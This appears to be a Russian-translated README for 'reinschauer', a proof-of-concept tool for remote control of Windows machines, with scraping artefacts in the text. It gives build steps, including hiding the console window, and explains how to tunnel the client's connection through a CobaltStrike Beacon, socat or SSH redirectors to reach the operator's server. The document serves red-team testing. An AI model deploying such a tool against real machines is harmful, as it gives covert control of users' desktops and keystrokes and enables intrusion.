
Это очень хорошо

PoC для удалённого управления Windows-машинами через WebSocket. Подробности в моём блоге.


reinschauer преобразует сырые битмапы в JPEG и сжимает полученные данные перед отправкой по сети, чтобы уменьшить размер кадра.
server для генерации TLS-серверных файлов или взять свои собственные.reinschauer-server -h для просмотра доступных опций.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
Как собрать?
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
В этот репозиторий я включил предварительно собранную и автономную версию .NET-варианта. Если вы хотите собрать её самостоятельно, используйте файл проекта Visual Studio для сборки варианта Release x64. Если это не происходит автоматически, загрузите необходимые пакеты NuGet для проекта через Visual Studio. Скорее всего, в целевой системе эти пакеты тоже не установлены, поэтому при выполнении полученного exe на целевой машине DLL-библиотеки могут отсутствовать. Чтобы обойти эту проблему, проект автоматически вызывает ILMerge.exe и объединяет итоговый exe с необходимыми библиотеками. Поэтому на целевых машинах используйте сгенерированный файл reinschauer-dotnet-standalone.exe.
Возможно, перед этим потребуется выполнить
go get. Используйте-ldflags -H=windowsgui, чтобы отключить консольное окно.
Кто из них клиент, а кто — сервер?
clientвыполняется на целевой (Windows) машине. Компонентserverвыполняется на машине тестировщика (Linux). По умолчанию он слушает0.0.0.0:6969. Как Go-клиент, так и C#-клиент совместимы с сервером.
Это HVNC / скрытый рабочий стол?
Нет. Он использует тот же рабочий стол, что и пользователь.
Некоторые клавиши и комбинации клавиш не работают, исправьте, пожалуйста
Я знаю, что |, @ и § сейчас могут не работать, по крайней мере, на моей немецкой картофельной клавиатуре. Пожалуйста, исправьте.
Клиент потребляет слишком много процессорного времени
Возможно, поможет более низкое значение FPS.
У меня нет прямого соединения между client и server
Вы можете использовать CobaltStrike Beacon для туннелирования трафика.
У меня нет Cobaltstrike!
Используйте редиректор
socat, например:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
и запустите клиент с необходимыми параметрами или захардкодьте их.
Сначала настройте BOF.NET в соответствии с руководством. Также загрузите автономный exe с помощью bofnet_load <Path to Exe>. Затем решите, как использовать Reinschauer:
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. Это автоматически заставит Reinschauer подключиться к 127.0.0.1:6969 на 127.0.0.1 целевой машины. Это также отключает TLS, поскольку соединение в любом случае идёт через Beacon.bofnet_jobkill <Job ID>.bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true. Логический параметр включает использование TLS.bofnet_jobkill <Job ID>.Затем используйте SSH и функцию GatewayPorts: добавьте GatewayPorts: clientspecified в sshd_config и перезапустите SSH-сервер. После этого ssh -R '0.0.0.0:8080:localhost:6969'' [...] сделает ваш локальный порт 6969 доступным на 0.0.0.0:8080. Будьте осторожны :)
Либо настройте редиректор socat на сервере:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>